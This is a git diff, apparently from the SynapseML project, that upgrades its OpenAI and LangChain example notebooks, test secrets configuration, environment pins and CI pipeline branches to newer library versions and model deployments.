143d0b3aa99..44d16c69e11 100644 --- a/core/src/test/scala/com/microsoft/azure/synapse/ml/Secrets.scala +++ b/core/src/test/scala/com/microsoft/azure/synapse/ml/Secrets.scala @@ -80,7 +80,7 @@ object Secrets { } lazy val CognitiveApiKey: String = getSecret("cognitive-api-key") - lazy val OpenAIApiKey: String = getSecret("openai-api-key-2") + lazy val OpenAIApiKey: String = getSecret("openai-api-key-3") lazy val AIFoundryApiKey: String = getSecret("synapseml-ai-foundry-resource-key") lazy val CustomSpeechApiKey: String = getSecret("custom-speech-api-key") diff --git a/core/src/test/scala/com/microsoft/azure/synapse/ml/nbtest/DatabricksUtilities.scala b/core/src/test/scala/com/microsoft/azure/synapse/ml/nbtest/DatabricksUtilities.scala index 6f48c63213e..a0d8f7386c9 100644 --- a/core/src/test/scala/com/microsoft/azure/synapse/ml/nbtest/DatabricksUtilities.scala +++ b/core/src/test/scala/com/microsoft/azure/synapse/ml/nbtest/DatabricksUtilities.scala @@ -184,8 +184,11 @@ object DatabricksUtilities { "onnxmltools==1.7.0", "lightgbm", "mlflow==2.21.3", - "openai==0.28.1", - "langchain==0.0.331", + "langchain==1.3.14", + "langchain-classic==1.0.8", + "langchain-community==0.4.2", + "langchain-openai==1.4.0", + "openai==2.47.0", "pdf2image", "pdfminer.six", "sqlparse", diff --git a/docs/Explore Algorithms/AI Services/Quickstart - Document Question and Answering with PDFs.ipynb b/docs/Explore Algorithms/AI Services/Quickstart - Document Question and Answering with PDFs.ipynb index 755c565f264..2bf0ebd434b 100644 --- a/docs/Explore Algorithms/AI Services/Quickstart - Document Question and Answering with PDFs.ipynb +++ b/docs/Explore Algorithms/AI Services/Quickstart - Document Question and Answering with PDFs.ipynb @@ -81,7 +81,7 @@ "metadata": {}, "outputs": [], "source": [ - "%pip install openai==0.28.1 langchain==0.0.331" + "%pip install openai==2.47.0 langchain==1.3.14 langchain-openai==1.4.0" ] }, { @@ -148,12 +148,12 @@ "ai_services_location = \"eastus\"\n", "\n", "# Fill in the following lines with your Azure service information\n", - "aoai_service_name = \"synapseml-openai-2\"\n", + "aoai_service_name = \"synapseml-openai-3\"\n", "aoai_endpoint = f\"https://{aoai_service_name}.openai.azure.com/\"\n", - "aoai_key = find_secret(secret_name=\"openai-api-key-2\", keyvault=\"mmlspark-build-keys\")\n", + "aoai_key = find_secret(secret_name=\"openai-api-key-3\", keyvault=\"mmlspark-build-keys\")\n", "aoai_deployment_name_embeddings = \"text-embedding-ada-002\"\n", - "aoai_deployment_name_query = \"gpt-4o\"\n", - "aoai_model_name_query = \"gpt-4o\"\n", + "aoai_deployment_name_query = \"gpt-5.1\"\n", + "aoai_model_name_query = \"gpt-5.1\"\n", "\n", "# Azure Cognitive Search\n", "cogsearch_name = \"mmlspark-azure-search\"\n", @@ -847,11 +847,10 @@ "metadata": {}, "outputs": [], "source": [ - "# Import necessary libraries and setting up OpenAI\n", - "from langchain.chat_models import AzureChatOpenAI\n", - "from langchain import PromptTemplate\n", - "from langchain.chains import LLMChain\n", - "from synapse.ml.services.langchain.LangchainTransform import CompatAzureChatOpenAI" + "# Import necessary libraries and set up OpenAI\n", + "from langchain_core.output_parsers import StrOutputParser\n", + "from langchain_core.prompts import PromptTemplate\n", + "from langchain_openai import ChatOpenAI" ] }, { @@ -884,13 +883,12 @@ "def qa_chain_func():\n", "\n", " # Define llm model\n", - " llm = CompatAzureChatOpenAI(\n", - " deployment_name=aoai_deployment_name_query,\n", - " model_name=aoai_model_name_query,\n", - " openai_api_key=aoai_key,\n", - " openai_api_version=\"2025-01-01-preview\",\n", - " openai_api_base=aoai_endpoint,\n", - " model_kwargs={\"max_completion_tokens\": 1024},\n", + " llm = ChatOpenAI(\n", + " model=aoai_deployment_name_query,\n", + " api_key=aoai_key,\n", + " base_url=f\"{aoai_endpoint.rstrip('/')}/openai/v1/\",\n", + " max_completion_tokens=1024,\n", + " reasoning_effort=\"low\",\n", " )\n", "\n", " # Write a preprompt with context and query as variables\n", @@ -902,20 +900,18 @@ " Answer: \"\"\"\n", "\n", " # Define a prompt template\n", - " prompt_template = PromptTemplate(\n", - " input_variables=[\"context\", \"query\"], template=template\n", - " )\n", - " # Define a chain\n", - " qa_chain = LLMChain(llm=llm, prompt=prompt_template)\n", + " prompt_template = PromptTemplate.from_template(template)\n", + " # Define a Runnable chain\n", + " qa_chain = prompt_template | llm | StrOutputParser()\n", " return qa_chain\n", "\n", "\n", "# Concatenate the content of retrieved documents\n", - "context = [i[\"chunk\"] for i in output[\"value\"]]\n", + "context = \"\\n\\n\".join(i[\"chunk\"] for i in output[\"value\"])\n", "\n", "# Make a Quesion Answer chain function and pass\n", "qa_chain = qa_chain_func()\n", - "answer = qa_chain.run({\"context\": context, \"query\": user_question})\n", + "answer = qa_chain.invoke({\"context\": context, \"query\": user_question})\n", "\n", "print(answer)" ] diff --git a/docs/Explore Algorithms/OpenAI/Langchain.ipynb b/docs/Explore Algorithms/OpenAI/Langchain.ipynb index 6f133958390..335015e78cb 100644 --- a/docs/Explore Algorithms/OpenAI/Langchain.ipynb +++ b/docs/Explore Algorithms/OpenAI/Langchain.ipynb @@ -42,7 +42,7 @@ "\n", "The key prerequisites for this quickstart include a working Azure OpenAI resource, and an Apache Spark cluster with SynapseML installed. We suggest creating a Synapse workspace, but an Azure Databricks, HDInsight, or Spark on Kubernetes, or even a python environment with the `pyspark` package will work. \n", "\n", - "1. An Azure OpenAI resource \u2013 request access [here](https://customervoice.microsoft.com/Pages/ResponsePage.aspx?id=v4j5cvGGr0GRqy180BHbR7en2Ais5pxKtso_Pz4b1_xUOFA5Qk1UWDRBMjg0WFhPMkIzTzhKQ1dWNyQlQCN0PWcu) before [creating a resource](https://docs.microsoft.com/en-us/azure/cognitive-services/openai/how-to/create-resource?pivots=web-portal#create-a-resource)\n", + "1. An Azure OpenAI resource – request access [here](https://customervoice.microsoft.com/Pages/ResponsePage.aspx?id=v4j5cvGGr0GRqy180BHbR7en2Ais5pxKtso_Pz4b1_xUOFA5Qk1UWDRBMjg0WFhPMkIzTzhKQ1dWNyQlQCN0PWcu) before [creating a resource](https://docs.microsoft.com/en-us/azure/cognitive-services/openai/how-to/create-resource?pivots=web-portal#create-a-resource)\n", "1. [Create a Synapse workspace](https://docs.microsoft.com/en-us/azure/synapse-analytics/get-started-create-workspace)\n", "1. [Create a serverless Apache Spark pool](https://docs.microsoft.com/en-us/azure/synapse-analytics/get-started-analyze-spark#create-a-serverless-apache-spark-pool)" ] @@ -88,7 +88,7 @@ }, "outputs": [], "source": [ - "%pip install openai==0.28.1 langchain==0.0.331 pdf2image pdfminer.six unstructured==0.10.24 pytesseract numpy==1.22.4 nltk==3.8.1" + "%pip install -U openai==2.47.0 langchain-openai==1.4.0 langchain-community==0.4.2 pdf2image pdfminer.six unstructured==0.10.24 pytesseract nltk==3.8.1" ] }, { @@ -108,14 +108,12 @@ }, "outputs": [], "source": [ - "import os, openai, langchain, uuid\n", - "from langchain.llms import AzureOpenAI, OpenAI\n", - "from langchain.agents import load_tools, initialize_agent, AgentType\n", - "from langchain.chains import TransformChain, LLMChain, SimpleSequentialChain\n", - "from langchain.document_loaders import OnlinePDFLoader\n", - "from langchain.prompts import PromptTemplate\n", - "from synapse.ml.services.langchain import LangchainTransformer\n", - "from synapse.ml.core.platform import running_on_synapse, find_secret" + "from langchain_community.document_loaders import OnlinePDFLoader\n", + "from langchain_core.output_parsers import StrOutputParser\n", + "from langchain_core.prompts import PromptTemplate\n", + "from langchain_core.runnables import RunnablePassthrough\n", + "from langchain_openai import ChatOpenAI\n", + "from synapse.ml.core.platform import find_secret" ] }, { @@ -134,7 +132,7 @@ }, "source": [ "## Step 3: Fill in the service information and construct the LLM\n", - "Next, please edit the cell in the notebook to point to your service. In particular set the `model_name`, `deployment_name`, `openai_api_base`, and `open_api_key` variables to match those for your OpenAI service. Please feel free to replace `find_secret` with your key as follows\n", + "Next, edit the cell to point to your Azure OpenAI v1 endpoint and deployment. You can replace `find_secret` with your key as follows:\n", "\n", "`openai_api_key = \"99sj2w82o....\"`" ] @@ -157,23 +155,17 @@ "outputs": [], "source": [ "openai_api_key = find_secret(\n", - " secret_name=\"openai-api-key-2\", keyvault=\"mmlspark-build-keys\"\n", + " secret_name=\"openai-api-key-3\", keyvault=\"mmlspark-build-keys\"\n", ")\n", - "openai_api_base = \"https://synapseml-openai-2.openai.azure.com/\"\n", - "openai_api_version = \"2022-12-01\"\n", - "openai_api_type = \"azure\"\n", - "deployment_name = \"gpt-35-turbo\"\n", + "openai_base_url = \"https://synapseml-openai-3.openai.azure.com/openai/v1/\"\n", + "deployment_name = \"gpt-5-mini\"\n", "\n", - "os.environ[\"OPENAI_API_TYPE\"] = openai_api_type\n", - "os.environ[\"OPENAI_API_VERSION\"] = openai_api_version\n", - "os.environ[\"OPENAI_API_BASE\"] = openai_api_base\n", - "os.environ[\"OPENAI_API_KEY\"] = openai_api_key\n", - "\n", - "llm = AzureOpenAI(\n", - " deployment_name=deployment_name,\n", - " model_name=deployment_name,\n", - " temperature=0.1,\n", - " verbose=True,\n", + "llm = ChatOpenAI(\n", + " model=deployment_name,\n", + " base_url=openai_base_url,\n", + " api_key=openai_api_key,\n", + " max_completion_tokens=1024,\n", + " reasoning_effort=\"low\",\n", ")" ] }, @@ -192,7 +184,7 @@ } }, "source": [ - "## Step 4: Basic Usage of LangChain Transformer\n", + "## Step 4: Basic Usage of LangChain\n", "\n", "### Create a chain\n", "We will start by demonstrating the basic usage with a simple chain that creates definitions for input words" @@ -220,15 +212,10 @@ " template=\"Define the following word: {technology}\",\n", ")\n", "\n", - "chain = LLMChain(llm=llm, prompt=copy_prompt)\n", - "transformer = (\n", - " LangchainTransformer()\n", - " .setInputCol(\"technology\")\n", - " .setOutputCol(\"definition\")\n", - " .setChain(chain)\n", - " .setSubscriptionKey(openai_api_key)\n", - " .setUrl(openai_api_base)\n", - ")" + "chain = {\"technology\": RunnablePassthrough()} | copy_prompt | llm | StrOutputParser()\n", + "\n", + "technologies = [\"docker\", \"spark\", \"python\"]\n", + "definitions = chain.batch(technologies)" ] }, { @@ -246,7 +233,7 @@ } }, "source": [ - "### Create a dataset and apply the chain" + "### Create a Spark DataFrame from the results" ] }, { @@ -266,11 +253,14 @@ }, "outputs": [], "source": [ - "# construction of test dataframe\n", "df = spark.createDataFrame(\n", - " [(0, \"docker\"), (1, \"spark\"), (2, \"python\")], [\"label\", \"technology\"]\n", + " [\n", + " (index, technology, str(definition))\n", + " for index, (technology, definition) in enumerate(zip(technologies, definitions))\n", + " ],\n", + " [\"label\", \"technology\", \"definition\"],\n", ")\n", - "display(transformer.transform(df))" + "display(df)" ] }, { @@ -288,34 +278,8 @@ } }, "source": [ - "### Save and load the LangChain transformer\n", - "LangChain Transformers can be saved and loaded. Note that LangChain serialization only works for chains that don't have memory." - ] - }, - { - "cell_type": "code", - "execution_count": null, - "metadata": { - "application/vnd.databricks.v1+cell": { - "cellMetadata": { - "byteLimit": 2048000, - "rowLimit": 10000 - }, - "inputWidgets": {}, - "nuid": "7e79dfc7-3c9e-4df2-9df1-07f8d588bb72", - "showTitle": false, - "title": "" - } - }, - "outputs": [], - "source": [ - "temp_dir = \"/tmp\"\n", - "if not os.path.exists(temp_dir):\n", - " os.mkdir(temp_dir)\n", - "path = os.path.join(temp_dir, \"langchainTransformer\")\n", - "transformer.save(path)\n", - "loaded = LangchainTransformer.load(path)\n", - "display(loaded.transform(df))" + "### Serialization note\n", + "Modern `ChatOpenAI` clients own HTTP connection pools and are not Spark-picklable. `LangchainTransformer` now rejects captured OpenAI clients instead of silently changing authentication or transport settings. Use LangChain batching as shown here, or use SynapseML's native OpenAI transformers for distributed inference." ] }, { @@ -333,7 +297,7 @@ } }, "source": [ - "## Step 5: Using LangChain for Large scale literature review" + "## Step 5: Using LangChain for literature review" ] }, { @@ -351,16 +315,16 @@ } }, "source": [ - "### Create a Sequential Chain for paper summarization\n", + "### Create a Runnable pipeline for paper summarization\n", "\n", - "We will now construct a Sequential Chain for extracting structured information from an arxiv link. In particular, we will ask langchain to extract the title, author information, and a summary of the paper content. After that, we use a web search tool to find the recent papers written by the first author.\n", + "We will construct a Runnable pipeline that loads an arXiv PDF and extracts its title, authors, and a short summary.\n", "\n", - "To summarize, our sequential chain contains the following steps:\n", + "The pipeline contains these steps:\n", "\n", - "1. **Transform Chain**: Extract Paper Content from arxiv Link **=>**\n", - "1. **LLMChain**: Summarize the Paper, extract paper title and authors **=>**\n", - "1. **Transform Chain**: to generate the prompt **=>**\n", - "1. **Agent with Web Search Tool**: Use Web Search to find the recent papers by the first author" + "1. **OnlinePDFLoader**: Load the first two PDF pages.\n", + "2. **PromptTemplate**: Request the title, authors, and summary.\n", + "3. **ChatOpenAI**: Generate the structured paper description.\n", + "4. **StrOutputParser**: Return plain text for a Spark DataFrame." ] }, { @@ -380,54 +344,20 @@ }, "outputs": [], "source": [ - "def paper_content_extraction(inputs: dict) -> dict:\n", - " arxiv_link = inputs[\"arxiv_link\"]\n", + "def paper_content_extraction(arxiv_link: str) -> str:\n", " loader = OnlinePDFLoader(arxiv_link)\n", " pages = loader.load_and_split()\n", - " return {\"paper_content\": pages[0].page_content + pages[1].page_content}\n", + " content = \"\\n\".join(page.page_content for page in pages[:2])\n", + " return content\n", "\n", "\n", - "def prompt_generation(inputs: dict) -> dict:\n", - " output = inputs[\"Output\"]\n", - " prompt = (\n", - " \"find the paper title, author, summary in the paper description below, output them: \\n\"\n", - " + output\n", - " + \".\"\n", - " )\n", - " return {\"prompt\": prompt}\n", - "\n", - "\n", - "paper_content_extraction_chain = TransformChain(\n", - " input_variables=[\"arxiv_link\"],\n", - " output_variables=[\"paper_content\"],\n", - " transform=paper_content_extraction,\n", - " verbose=False,\n", - ")\n", - "\n", - "paper_summarizer_template = \"\"\"You are a paper summarizer, given the paper content, it is your job to summarize the paper into a short summary, and extract authors and paper title from the paper content.\n", + "paper_summarizer_template = \"\"\"Extract the paper title, authors, and a concise summary.\n", "Here is the paper content:\n", "{paper_content}\n", - "Output:\n", - "paper title, authors and summary.\n", "\"\"\"\n", - "prompt = PromptTemplate(\n", - " input_variables=[\"paper_content\"], template=paper_summarizer_template\n", - ")\n", - "summarize_chain = LLMChain(llm=llm, prompt=prompt, verbose=False)\n", - "\n", - "prompt_generation_chain = TransformChain(\n", - " input_variables=[\"Output\"],\n", - " output_variables=[\"prompt\"],\n", - " transform=prompt_generation,\n", - " verbose=False,\n", - ")\n", - "\n", - "sequential_chain = SimpleSequentialChain(\n", - " chains=[\n", - " paper_content_extraction_chain,\n", - " summarize_chain,\n", - " prompt_generation_chain,\n", - " ]\n", + "paper_prompt = PromptTemplate.from_template(paper_summarizer_template)\n", + "paper_summary_chain = (\n", + " {\"paper_content\": RunnablePassthrough()} | paper_prompt | llm | StrOutputParser()\n", ")" ] }, @@ -446,9 +376,9 @@ } }, "source": [ - "### Apply the LangChain transformer to perform this workload at scale\n", + "### Run the literature-review chain in a batch\n", "\n", - "We can now use our chain at scale using the `LangchainTransformer`" + "Use LangChain batching on the driver, then materialize the results as a Spark DataFrame." ] }, { @@ -468,30 +398,22 @@ }, "outputs": [], "source": [ + "papers = [\n", + " (0, \"https://arxiv.org/pdf/2107.13586.pdf\"),\n", + " (1, \"https://arxiv.org/pdf/2101.00190.pdf\"),\n", + " (2, \"https://arxiv.org/pdf/2103.10385.pdf\"),\n", + " (3, \"https://arxiv.org/pdf/2110.07602.pdf\"),\n", + "]\n", + "paper_contents = [paper_content_extraction(link) for _, link in papers]\n", + "paper_summaries = paper_summary_chain.batch(paper_contents)\n", "paper_df = spark.createDataFrame(\n", " [\n", - " (0, \"https://arxiv.org/pdf/2107.13586.pdf\"),\n", - " (1, \"https://arxiv.org/pdf/2101.00190.pdf\"),\n", - " (2, \"https://arxiv.org/pdf/2103.10385.pdf\"),\n", - " (3, \"https://arxiv.org/pdf/2110.07602.pdf\"),\n", + " (label, link, str(summary))\n", + " for (label, link), summary in zip(papers, paper_summaries)\n", " ],\n", - " [\"label\", \"arxiv_link\"],\n", + " [\"label\", \"arxiv_link\", \"paper_info\"],\n", ")\n", - "\n", - "# construct langchain transformer using the paper summarizer chain define above\n", - "paper_info_extractor = (\n", - " LangchainTransformer()\n", - " .setInputCol(\"arxiv_link\")\n", - " .setOutputCol(\"paper_info\")\n", - " .setChain(sequential_chain)\n", - " .setSubscriptionKey(openai_api_key)\n", - " .setUrl(openai_api_base)\n", - ")\n", - "\n", - "\n", - "# extract paper information from arxiv links, the paper information needs to include:\n", - "# paper title, paper authors, brief paper summary, and recent papers published by the first author\n", - "display(paper_info_extractor.transform(paper_df))" + "display(paper_df)" ] } ], @@ -502,7 +424,7 @@ "notebookMetadata": { "pythonIndentUnit": 2 }, - "notebookName": "CognitiveServices - LangchainTransformer", + "notebookName": "OpenAI - LangChain", "widgets": {} }, "kernelspec": { diff --git a/docs/Explore Algorithms/OpenAI/OpenAI.ipynb b/docs/Explore Algorithms/OpenAI/OpenAI.ipynb index 614ec3d9e4d..b3a3dba4196 100644 --- a/docs/Explore Algorithms/OpenAI/OpenAI.ipynb +++ b/docs/Explore Algorithms/OpenAI/OpenAI.ipynb @@ -62,12 +62,12 @@ "\n", "# Fill in the following lines with your service information\n", "# Learn more about selecting which embedding model to choose: https://openai.com/blog/new-and-improved-embedding-model\n", - "service_name = \"synapseml-openai-2\"\n", - "deployment_name = \"gpt-4.1-mini\"\n", + "service_name = \"synapseml-openai-3\"\n", + "deployment_name = \"gpt-5-mini\"\n", "deployment_name_embeddings = \"text-embedding-ada-002\"\n", "\n", "key = find_secret(\n", - " secret_name=\"openai-api-key-2\", keyvault=\"mmlspark-build-keys\"\n", + " secret_name=\"openai-api-key-3\", keyvault=\"mmlspark-build-keys\"\n", ") # please replace this line with your key as a string\n", "\n", "assert key is not None and service_name is not None" @@ -213,16 +213,15 @@ "cell_type": "markdown", "metadata": {}, "source": [ - "### Chat Completion - Advanced Parameters for Reproducible Outputs\n", + "### Chat Completion with Reasoning Models\n", "\n", - "SynapseML now supports additional parameters for enhanced control over OpenAI model behavior for reproducible outputs:\n", + "GPT-5.1 and GPT-5-mini reasoning deployments reject explicit sampling parameters when reasoning is enabled:\n", "\n", - "- **`temperature`**: Reduces randomness. OpenAI models accept float temperature value between [0, 2]. Set to 0 for best reproducibility.\n", - "- **`top_p`**: Controls nucleus sampling as an alternative to temperature. OpenAI models accept float top_p value between [0, 1]. Set close to 0 for best reproducibility.\n", - "- **`seed`**: Enables deterministic sampling for reproducible results. Set to any constant int value.\n", + "- Leave **`temperature`**, **`top_p`**, and **`seed`** unset.\n", + "- Use **`reasoning_effort`** and **`verbosity`** to control reasoning behavior.\n", "\n", "\n", - "These parameters can be set globally using `OpenAIDefaults` or on individual transformer instances." + "The deployment, credentials, and endpoint can still be set globally using `OpenAIDefaults`." ] }, { @@ -234,14 +233,11 @@ "from synapse.ml.services.openai import OpenAIChatCompletion\n", "from synapse.ml.services.openai.OpenAIDefaults import OpenAIDefaults\n", "\n", - "# Set global defaults including new parameters\n", + "# Set global defaults without unsupported sampling parameters\n", "defaults = OpenAIDefaults()\n", "defaults.set_deployment_name(deployment_name)\n", "defaults.set_subscription_key(key)\n", "defaults.set_URL(f\"https://{service_name}.openai.azure.com/\")\n", - "defaults.set_temperature(0)\n", - "defaults.set_top_p(0.1)\n", - "defaults.set_seed(42)\n", "\n", "chat_completion = (\n", " OpenAIChatCompletion()\n", @@ -612,7 +608,7 @@ "outputs": [], "source": [ "from synapse.ml.services.openai import OpenAIResponses\n", - "from pyspark.sql.functions import col, lit, array, struct\n", + "from pyspark.sql.functions import col, lit, array, struct, expr\n", "from pyspark.sql import Row\n", "\n", "# Create messages DataFrame\n", @@ -643,7 +639,9 @@ "display(\n", " first_result.select(\n", " col(\"response.id\").alias(\"response_id\"),\n", - " col(\"response.output\")[0][\"content\"][0][\"text\"].alias(\"text\"),\n", + " expr(\n", + " \"element_at(filter(element_at(response.output, -1).content, x -> x.text is not null), 1).text\"\n", + " ).alias(\"text\"),\n", " ).show(truncate=80)\n", ")\n", "\n", @@ -671,7 +669,9 @@ "display(\n", " chained_result.select(\n", " col(\"prev_id\").alias(\"previous_response_id\"),\n", - " col(\"chained_response.output\")[0][\"content\"][0][\"text\"].alias(\"chained_text\"),\n", + " expr(\n", + " \"element_at(filter(element_at(chained_response.output, -1).content, x -> x.text is not null), 1).text\"\n", + " ).alias(\"chained_text\"),\n", " ).show(truncate=80)\n", ")" ] diff --git a/docs/Explore Algorithms/OpenAI/Quickstart - Multimodal OpenAI Prompter with Responses API.ipynb b/docs/Explore Algorithms/OpenAI/Quickstart - Multimodal OpenAI Prompter with Responses API.ipynb index e5fdfd7cf25..8a97ff9820c 100644 --- a/docs/Explore Algorithms/OpenAI/Quickstart - Multimodal OpenAI Prompter with Responses API.ipynb +++ b/docs/Explore Algorithms/OpenAI/Quickstart - Multimodal OpenAI Prompter with Responses API.ipynb @@ -48,14 +48,14 @@ "\n", "# Fill in the following lines with your service information\n", "# Learn more about selecting which embedding model to choose: https://openai.com/blog/new-and-improved-embedding-model\n", - "service_name = \"synapseml-openai-2\"\n", - "deployment_name = \"gpt-4.1\"\n", + "service_name = \"synapseml-openai-3\"\n", + "deployment_name = \"gpt-5.1\"\n", "api_version = (\n", " \"2025-04-01-preview\" # Responses API is only supported in this version and later\n", ")\n", "\n", "key = find_secret(\n", - " secret_name=\"openai-api-key-2\", keyvault=\"mmlspark-build-keys\"\n", + " secret_name=\"openai-api-key-3\", keyvault=\"mmlspark-build-keys\"\n", ") # please replace this line with your key as a string\n", "\n", "assert key is not None and service_name is not None" diff --git a/docs/Explore Algorithms/OpenAI/Quickstart - OpenAI Embedding and GPU based KNN.ipynb b/docs/Explore Algorithms/OpenAI/Quickstart - OpenAI Embedding and GPU based KNN.ipynb index 82ae3f185cc..5a2d7556d5b 100644 --- a/docs/Explore Algorithms/OpenAI/Quickstart - OpenAI Embedding and GPU based KNN.ipynb +++ b/docs/Explore Algorithms/OpenAI/Quickstart - OpenAI Embedding and GPU based KNN.ipynb @@ -67,11 +67,11 @@ "\n", "# Fill in the following lines with your service information\n", "# Learn more about selecting which embedding model to choose: https://openai.com/blog/new-and-improved-embedding-model\n", - "service_name = \"synapseml-openai-2\"\n", + "service_name = \"synapseml-openai-3\"\n", "deployment_name_embeddings = \"text-embedding-ada-002\"\n", "\n", "key = find_secret(\n", - " secret_name=\"openai-api-key-2\", keyvault=\"mmlspark-build-keys\"\n", + " secret_name=\"openai-api-key-3\", keyvault=\"mmlspark-build-keys\"\n", ") # please replace this with your key as a string\n", "\n", "assert key is not None and service_name is not None" diff --git a/docs/Explore Algorithms/OpenAI/Quickstart - OpenAI Embedding.ipynb b/docs/Explore Algorithms/OpenAI/Quickstart - OpenAI Embedding.ipynb index 78995acdea7..9e6884ab1a2 100644 --- a/docs/Explore Algorithms/OpenAI/Quickstart - OpenAI Embedding.ipynb +++ b/docs/Explore Algorithms/OpenAI/Quickstart - OpenAI Embedding.ipynb @@ -63,11 +63,11 @@ "\n", "# Fill in the following lines with your service information\n", "# Learn more about selecting which embedding model to choose: https://openai.com/blog/new-and-improved-embedding-model\n", - "service_name = \"synapseml-openai-2\"\n", + "service_name = \"synapseml-openai-3\"\n", "deployment_name_embeddings = \"text-embedding-ada-002\"\n", "\n", "key = find_secret(\n", - " secret_name=\"openai-api-key-2\", keyvault=\"mmlspark-build-keys\"\n", + " secret_name=\"openai-api-key-3\", keyvault=\"mmlspark-build-keys\"\n", ") # please replace this with your key as a string\n", "\n", "assert key is not None and service_name is not None" diff --git a/docs/Explore Algorithms/OpenAI/Quickstart - Understand and Search Forms.ipynb b/docs/Explore Algorithms/OpenAI/Quickstart - Understand and Search Forms.ipynb index 82a2a0b2e67..7d292948c46 100644 --- a/docs/Explore Algorithms/OpenAI/Quickstart - Understand and Search Forms.ipynb +++ b/docs/Explore Algorithms/OpenAI/Quickstart - Understand and Search Forms.ipynb @@ -58,7 +58,7 @@ }, "outputs": [], "source": [ - "%pip install openai==0.28.1" + "%pip install openai==2.47.0" ] }, { @@ -97,10 +97,10 @@ "search_index = \"form-demo-index-5\"\n", "\n", "openai_key = find_secret(\n", - " secret_name=\"openai-api-key-2\", keyvault=\"mmlspark-build-keys\"\n", + " secret_name=\"openai-api-key-3\", keyvault=\"mmlspark-build-keys\"\n", ") # Replace the call to find_secret with your key as a python string.\n", - "openai_service_name = \"synapseml-openai-2\"\n", - "openai_deployment_name = \"gpt-35-turbo\"\n", + "openai_service_name = \"synapseml-openai-3\"\n", + "openai_deployment_name = \"gpt-5-mini\"\n", "openai_url = f\"https://{openai_service_name}.openai.azure.com/\"" ] }, @@ -464,7 +464,8 @@ " .setSubscriptionKey(openai_key)\n", " .setDeploymentName(openai_deployment_name)\n", " .setUrl(openai_url)\n", - " .setMaxTokens(5)\n", + " .setMaxCompletionTokens(500)\n", + " .setReasoningEffort(\"low\")\n", " .setPromptTemplate(emoji_template)\n", " .setErrorCol(\"error\")\n", " .setOutputCol(\"Emoji\")\n", @@ -725,12 +726,12 @@ "outputs": [], "source": [ "import json\n", - "import openai\n", + "from openai import OpenAI\n", "\n", - "openai.api_type = \"azure\"\n", - "openai.api_base = openai_url\n", - "openai.api_key = openai_key\n", - "openai.api_version = \"2023-03-15-preview\"\n", + "openai_client = OpenAI(\n", + " api_key=openai_key,\n", + " base_url=f\"{openai_url.rstrip('/')}/openai/v1/\",\n", + ")\n", "\n", "chat_context_prompt = f\"\"\"\n", "You are a chatbot designed to answer questions with the help of a search engine that has the following information:\n", @@ -765,34 +766,39 @@ "\"\"\"\n", "\n", "\n", - "def prompt_gpt(messages):\n", - " response = openai.ChatCompletion.create(\n", - " engine=openai_deployment_name, messages=messages, max_tokens=None, top_p=0.95\n", + "def prompt_gpt(messages, json_mode=False):\n", + " request_options = {}\n", + " if json_mode:\n", + " request_options[\"response_format\"] = {\"type\": \"json_object\"}\n", + "\n", + " response = openai_client.chat.completions.create(\n", + " model=openai_deployment_name,\n", + " messages=messages,\n", + " max_completion_tokens=1024,\n", + " reasoning_effort=\"low\",\n", + " **request_options,\n", " )\n", - " return response[\"choices\"][0][\"message\"][\"content\"]\n", + " return response.choices[0].message.content\n", "\n", "\n", "def custom_chatbot(question):\n", - " while True:\n", - " try:\n", - " query = json.loads(\n", - " prompt_gpt(\n", - " [\n", - " {\"role\": \"system\", \"content\": chat_context_prompt},\n", - " {\"role\": \"user\", \"content\": search_query_prompt(question)},\n", - " ]\n", - " )\n", - " )[\"query\"]\n", - "\n", - " return prompt_gpt(\n", - " [\n", - " {\"role\": \"system\", \"content\": chat_context_prompt},\n", - " {\"role\": \"system\", \"content\": search_result_prompt(query)},\n", - " {\"role\": \"user\", \"content\": question},\n", - " ]\n", - " )\n", - " except Exception as e:\n", - " raise e" + " query = json.loads(\n", + " prompt_gpt(\n", + " [\n", + " {\"role\": \"system\", \"content\": chat_context_prompt},\n", + " {\"role\": \"user\", \"content\": search_query_prompt(question)},\n", + " ],\n", + " json_mode=True,\n", + " )\n", + " )[\"query\"]\n", + "\n", + " return prompt_gpt(\n", + " [\n", + " {\"role\": \"system\", \"content\": chat_context_prompt},\n", + " {\"role\": \"system\", \"content\": search_result_prompt(query)},\n", + " {\"role\": \"user\", \"content\": question},\n", + " ]\n", + " )" ] }, { diff --git a/environment.yml b/environment.yml index 7e317cfbebd..d33041f56a9 100644 --- a/environment.yml +++ b/environment.yml @@ -4,13 +4,15 @@ channels: - default dependencies: - python=3.11.8 - - requests=2.26.0 - - pip=25.2 + # SynapseML-Internal uses 2.32.3; LangChain Community requires 2.32.5+. + - requests=2.32.5 + - pip=21.3 - r-base=4.1.1 - r-sparklyr=1.8.1 - r-devtools=2.4.2 - cmake<=3.27 - pip: + # Petastorm needs legacy Parquet and fsspec APIs removed after PyArrow 10; MLflow accepts this pin. - pyarrow==10.0.1 - pyspark==3.5.0 - pandas==2.0.3 @@ -28,13 +30,14 @@ dependencies: - tqdm - ipython - pytest-codeblocks - - azure-storage-blob - - jupyter + - azure-storage-blob==12.19.1 + - jupyter==1.1.0 - twine - mlflow==2.21.3 - - numpy - - torch==2.1.0 - - torchvision==0.16.0 + # Internal uses 1.23.5; LangChain Community requires NumPy 1.26.2+. + - numpy==1.26.4 + - torch==2.1.2 + - torchvision==0.16.2 # horovod package was deprecated in 2023, this commit has horovod compile with c++17 # Ref: https://github.com/horovod/horovod/issues/3996#issuecomment-2098507345 # Pre-built wheel for faster CI (built from same commit on Ubuntu 22.04 + Python 3.11) @@ -46,8 +49,11 @@ dependencies: - Pillow - transformers==4.49.0 - huggingface-hub==0.26.0 - - langchain==0.0.152 - - openai==0.27.5 + - langchain==1.3.14 + - langchain-classic==1.0.8 + - langchain-community==0.4.2 + - langchain-openai==1.4.0 + - openai==2.47.0 - black==22.3.0 - black[jupyter]==22.3.0 - mistletoe diff --git a/pipeline.yaml b/pipeline.yaml index 1f03bf29ebe..871c3cef073 100644 --- a/pipeline.yaml +++ b/pipeline.yaml @@ -5,8 +5,8 @@ trigger: branches: include: - master - - spark3.3 - spark3.5 + - spark4.1 paths: exclude: - README.md @@ -21,8 +21,8 @@ pr: branches: include: - master - - spark3.3 - spark3.5 + - spark4.1 paths: exclude: - README.md @@ -828,8 +828,12 @@ jobs: vmImage: $(UBUNTU_VERSION) strategy: matrix: - spark4.0: - RELEASE_BRANCH: spark4.0 + spark3.5: + RELEASE_BRANCH: spark3.5 + JAVA_VERSION: 17 + SBT_JAVA_OPTS: "-J--add-opens=java.prefs/java.util.prefs=ALL-UNNAMED" + spark4.1: + RELEASE_BRANCH: spark4.1 JAVA_VERSION: 17 SBT_JAVA_OPTS: 